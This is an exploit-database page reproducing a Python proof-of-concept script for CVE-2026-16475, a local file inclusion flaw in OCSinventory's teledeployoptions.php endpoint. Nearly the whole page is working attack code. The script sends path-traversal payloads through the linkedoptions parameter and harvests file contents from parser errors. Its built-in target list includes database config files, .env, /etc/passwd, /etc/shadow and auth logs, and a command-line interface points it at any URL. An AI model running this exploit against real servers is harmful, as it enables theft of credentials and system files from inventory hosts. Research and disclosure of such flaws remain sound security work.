Exploit databaseDownload repository ZIP
GH-f7217f19c7556ec914be6c72fb21afcb
afertar/cve-2026-16475-poc
Sources for CVE-2026-16475
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
afertar/cve-2026-16475-pocRevision c8cefad093d1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 8,478 bytes#!/usr/bin/env python3
"""
CVE-2026-16475 - OCSinventory LFI PoC
Local File Inclusion in /ajax/teledeployoptions.php - XML file discovery
This vulnerability allows reading XML files and other content through
XML parser error messages. The linkedoptions parameter is designed for
XML file inclusion but lacks proper sanitization.
Author: Adrián Ferrer Tarí
"""
import argparse
import requests
import sys
import time
from typing import List, Tuple
from urllib.parse import urljoin
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
class OCSInventoryLFI:
def __init__(self, base_url: str, verbose: bool = False, timeout: int = 10):
self.base_url = base_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.endpoint = "/ajax/teledeployoptions.php"
self.target_url = urljoin(self.base_url, self.endpoint)
self.session = self._create_session()
self.results = []
self.verify_ssl = True
def _create_session(self) -> requests.Session:
"""Create a session with retry strategy."""
session = requests.Session()
retry_strategy = Retry(
total=3,
backoff_factor=1,
status_forcelist=[429, 500, 502, 503, 504],
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session.mount("http://", adapter)
session.mount("https://", adapter)
return session
def _log(self, message: str):
"""Print verbose output."""
if self.verbose:
print(f"[*] {message}")
def _success(self, message: str):
"""Print success message."""
print(f"[+] {message}")
def _error(self, message: str):
"""Print error message."""
print(f"[-] {message}")
def test_file(self, path: str) -> Tuple[bool, str]:
"""Test if a file can be read via LFI."""
try:
self._log(f"Testing: {path}")
params = {
'os': 'test',
'linkedoptions': path
}
response = self.session.get(
self.target_url,
params=params,
timeout=self.timeout,
verify=self.verify_ssl
)
if response.status_code != 200:
self._log(f"HTTP {response.status_code}")
return False, ""
content = response.text
# Check for failure indicators
if "failed to load external entity" in content.lower():
self._log("File not found")
return False, ""
# Check for XML content
if "<h3" in content and "class=\"text-center\"></h3>" not in content:
self._success(f"XML content found: {path}")
self.results.append((path, "XML with content", content[:200]))
return True, content
# Check for parser errors (non-XML content)
if "parser error" in content.lower():
self._success(f"File found (non-XML): {path}")
self.results.append((path, "File found", content[:200]))
return True, content
# Check for empty XML
if "<h3" in content and "</h3>" in content:
self._success(f"Empty XML file: {path}")
self.results.append((path, "Empty XML", ""))
return True, ""
# Unknown format but successful
if response.status_code == 200 and content.strip():
self._success(f"Content found: {path}")
self.results.append((path, "Unknown format", content[:200]))
return True, content
self._log("No indicators of success")
return False, ""
except requests.exceptions.ConnectionError:
self._error(f"Connection error to {self.target_url}")
return False, ""
except requests.exceptions.Timeout:
self._error("Request timeout")
return False, ""
except Exception as e:
self._error(f"Error: {str(e)}")
return False, ""
def test_targets(self, targets: List[str]):
"""Test multiple target paths."""
total = len(targets)
found = 0
print(f"\n[*] Starting LFI scan on {self.target_url}")
print(f"[*] Total targets: {total}\n")
for i, target in enumerate(targets, 1):
sys.stdout.write(f"\r[*] Progress: {i}/{total} ({found} found)")
sys.stdout.flush()
success, content = self.test_file(target)
if success:
found += 1
time.sleep(0.1) # Rate limiting
print(f"\n\n[*] Scan complete. Found {found}/{total} accessible files.\n")
return found > 0
def save_results(self, filename: str):
"""Save results to file."""
if not self.results:
print("[-] No results to save")
return
try:
with open(filename, 'w') as f:
f.write("CVE-2026-16475 - OCSinventory LFI Results\n")
f.write("=" * 50 + "\n\n")
for path, status, content in self.results:
f.write(f"Path: {path}\n")
f.write(f"Status: {status}\n")
if content:
f.write(f"Content Preview:\n{content}\n")
f.write("-" * 50 + "\n\n")
print(f"[+] Results saved to {filename}")
except Exception as e:
print(f"[-] Error saving results: {str(e)}")
def get_targets() -> List[str]:
"""Return list of target paths to test."""
return [
# App configs (might contain DB creds)
"../../../dbconfig.inc",
"../../../var",
"../../../config",
"../../../.env",
"../../../config.inc",
"../../../config/database",
"../../../require/dbconnect.inc",
# Working XML files
"bashscriptopt",
"executableopt",
"msiapplicationopt",
"storeopt",
"../interactions/bashscript",
"../operatingsystems/operatingsystems",
# Logs (might have sensitive info)
"../../../../../../../../var/log/apache2/access.log",
"../../../../../../../../var/log/apache2/error.log",
"../../../../../../../../var/log/mysql/error.log",
"../../../../../../../../var/log/auth.log",
# System info
"../../../../../../../../proc/version",
"../../../../../../../../proc/cpuinfo",
"../../../../../../../../proc/meminfo",
"../../../../../../../../etc/passwd",
"../../../../../../../../etc/shadow",
"../../../../../../../../etc/hosts",
"../../../../../../../../etc/hostname",
# App secrets
"../../../composer",
"../../../package",
"../../../.htaccess",
"../../../web",
"../../../install",
"../../../backup",
"../../../sql",
]
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-16475 - OCSinventory LFI PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -u http://ocs.example.com
python3 exploit.py -u http://ocs.example.com -v -o results.txt
"""
)
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://ocs.example.com)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('-o', '--output', help='Save results to file')
parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout (default: 10)')
parser.add_argument('-k', '--insecure', action='store_true', help='Disable SSL verification (not recommended)')
args = parser.parse_args()
# Initialize scanner
scanner = OCSInventoryLFI(args.url, args.verbose, args.timeout)
scanner.verify_ssl = not args.insecure
if args.insecure:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print("[-] WARNING: SSL verification disabled. This is insecure and only for testing.\n")
# Get targets
targets = get_targets()
# Run scan
scanner.test_targets(targets)
# Save results if requested
if args.output:
scanner.save_results(args.output)
if __name__ == "__main__":
main()